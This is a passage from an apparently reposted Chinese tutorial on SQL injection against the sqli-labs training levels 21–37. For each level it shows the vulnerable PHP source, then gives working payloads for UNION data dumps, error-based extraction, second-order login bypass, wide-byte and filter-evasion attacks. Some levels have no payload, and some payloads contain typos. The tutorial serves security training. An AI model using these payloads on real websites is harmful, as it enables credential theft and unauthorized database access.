SQL注入之联合注入

来源:互联网 发布:php abstract 继承 编辑:程序博客网 时间:2024/05/18 03:36

正确使用UNION运算符,需满足以下两个要求:

1.两个查询返回的列数必须相同 ---使用UNION和order by匹配列数

2.两个SELECT语句返回的数据所对应的列必须类型相同  --使用UNION匹配数据类型

less-21 字符型cookie注入

源码:

setcookie('uname', base64_encode($row1['username']), time()+3600);

$cookee = $_COOKIE['uname'];

$cookee=base64_decode($cookee);

$sql="select * from users where username=('$cookee') limit 0,1";

注入:

将')union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users#改成base64

less-22双引号字符型Cookie注入

源码:

$cookee='"'.$cookee.'"';

$sql="select * from users where username=$cookee limit 0,1";

注入:')union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users#

less-23单行注释过滤

源码:

$id=preg_replace("/#/","",$id);

$id=preg_replace("/--/","",$id);

$sql="select * from users where id='$id' limit 0,1";

判断过滤了哪些字符:?id=1%23和?id=1--%20

注入:?id=1' or '1'='1

?id=-1' union select 1,database(),'3

报错注入:?id=1' or extractvalue(1,concat(ox7e,database())) or '1'='1

获取数据库:?id=1' union select 1,(selct group_concat(schema_name) from information_schema.schemeta),'3

查看数据库:?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

查看所有列:?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

查看内容:?id=1' union select 1,(select group_concat(username) from security.users limit 0,1),'3

less-24二次注入

源码:

login.php源码:

$username=mysql_real_escape_string($_POST["login_user"]);

$password=mysql_real_escape_string($_POST["login_password"]);

$sql="select * from users where username='$username' and password='$password'";

login_create.php源码:

$username=mysql_escape_string($_POST['username']);

$pass=mysql_escape_string($_POST['password']);

$re_pass=mysql_escape_string($_POST['re_password']);

pass_change.php源码:

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

注入:

username: admin'--

password: jim 

24.绕过注释的过滤

对于#,get要url编码成%23,post提交就不用了。

GET:?id=1'%23

源码:$id = preg_replace("/#/", "", $id);  //将#替换成空字符

--单行注释,--后加空格或其他字符才有效。

GET:?id=1'--%20

$id = preg_replace("/--/","", $id);  //将--替换成空字符

闭合绕过:?id=1' or '1'='1

less25 绕过or和and的过滤

源码:$id=preg_replace('/or/i', "", $id);  和 $id=preg_replace('/and/i', "", $id);  开启了i模式,大小写不能绕过

策略1:使用||和&&替换

?id=1' || '1'='1   &&要url编码才能传导后台  ?id=1' %26%26 '1'='1

?id=1' || extractvalue(1,concat(0x7e,database())) || '1'='1

策略2:双写绕过

?id=1' oror '1'='1    ?id=1' andand '1'='1

less26.绕过注释和空格的过滤

源码:

$id=preg_replace('/or/i', "", $id);  //过滤了or

$id=preg_replace('/and/i', "", $id);  //过滤了and

$id=preg_replace('/#/', "", $id);  //过滤了#

$id=preg_replace('/--/', "", $id);  //过滤了--

$id=preg_replace('/\/\*/', "", $id);  //过滤了/*

$id=preg_replace('/\s/', "", $id);  //过滤了空格

$id=preg_replace('/\/\\\\/', "", $id);  //过滤了斜杠和反斜杠

常见绕过空格的方法是使用多行注释,

注入:

less27 绕过union和select的过滤

源码:

$id= preg_replace('/union/s',"", $id);    //Strip out union
$id= preg_replace('/select/s',"", $id);    //Strip out select
$id= preg_replace('/UNION/s',"", $id);    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);    //Strip out Union
$id= preg_replace('/Select/s',"", $id);    //Strip out select

注入:

?id=1' UnIon SelecT 1,database(),3 || '1

less28有括号的单引号字符型

源码:

$id=preg_replace('/[ +]/',"",$id);

$id=preg_replace('/union\s+select/i',"",$id);

$sql="select * from users where id=('$id') limit 0,1";

注入:?id=1')and%09length(database())>7%09Union%09Select%091,2,('3

less31

源码:$id='"'.$id.'"';

$sql="select * from users where id=($id) limit 0,1";

注入:?id=1&id=-2") union select 1,database(),3--+

less32:添加反斜杠(slashes)过滤危险字符(\,',")

源码:

$string=preg_replace('/'.preg_quote('\\').'/', "\\\\\\", $string);

$string=preg_replace('/\'/i', '\\\'', $string);   

$string=preg_replace('/\"/', "\\\"",$string);

注入:?id=-1%df%27union select 1,database(),3--+

less33

源码:

$string=addslashes($string);   //addslashes()对预定义字符添加反斜杠(',",\,NULL)

$sql="select * from users where id='$id' limit 0,1";

less34:POST宽字节注入

源码:$uname=addslashes($uname1);

$passwd=addslashes($passwd1);

$sql="select username, password from users where username="$uname" and paasword="$passwd" limit 0,1";

注入:%df' or 1=1#  

less36:GET注入

源码:

$string=mysql_real_escape_string($string);  //mysql_real_escape_string()转义字符串中的特殊字符(\x00,\n,\r,\,',",\xla)

$sql="select * from users where id='$id' limit 0,1";

注入:

?id=-1%df%27union select 1,database(),3--+

less37:  POST注入

源码:$uname=mysql_real_escape_string($uname);

$passwd=mysql_real_escape_string($passwd);

$sql="select username,password from users where username='$uname' and passwd='$passwd' limit 0,1";

注入:%df' or 1=1#   万能密码







原创粉丝点击